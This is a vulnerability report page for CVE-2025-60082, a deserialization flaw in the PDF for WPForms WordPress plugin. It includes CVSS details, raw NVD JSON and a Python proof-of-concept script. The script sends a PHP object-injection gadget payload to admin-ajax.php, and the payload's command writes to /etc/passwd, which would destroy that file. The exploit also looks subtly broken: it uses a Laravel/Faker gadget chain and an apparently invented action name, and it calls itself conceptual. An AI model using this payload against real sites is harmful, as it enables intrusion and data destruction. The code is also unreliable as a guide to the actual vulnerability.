Security Vulnerability Report
中文
CVE-2025-60082 CVSS 8.8 HIGH

CVE-2025-60082

Published: 2025-12-18 08:16:08
Last Modified: 2026-04-15 00:35:42

Description

Deserialization of Untrusted Data vulnerability in add-ons.org PDF for WPForms pdf-for-wpforms allows Object Injection.This issue affects PDF for WPForms: from n/a through <= 6.5.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PDF for WPForms <= 6.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 import sys # CVE-2025-60082 PoC - PDF for WPForms Object Injection # This PoC demonstrates the deserialization vulnerability target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # PHPGC payload for object injection # Using phpggc to generate gadget chain php_payload = 'O:31:"Illuminate\\Broadcasting\PendingBroadcast":2:{s:9:"\x00*\x00events";O:26:"Faker\\Generator":1:{s:12:"\x00*\x00formatters";a:1:{s:3:"exec";s:6:"system";}}s:12:"\x00*\x00event";s:17:"id > /etc/passwd";}' # Encode payload for HTTP request encoded_payload = base64.b64encode(php_payload.encode()).decode() # Construct the malicious request endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'pdf_for_wpforms_generate', 'form_id': '1', 'serialized_data': encoded_payload, 'nonce': 'attacker_controlled_or_known' } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {len(encoded_payload)}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") if 'root:' in response.text: print("[!] VULNERABLE - Command execution confirmed!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Valid WordPress nonce or authenticated session # 2. Appropriate gadget chain for the specific plugin version # 3. Target system having exploitable PHP classes loaded

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60082", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:08.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in add-ons.org PDF for WPForms pdf-for-wpforms allows Object Injection.This issue affects PDF for WPForms: from n/a through <= 6.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pdf-for-wpforms/vulnerability/wordpress-pdf-for-wpforms-plugin-6-3-0-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}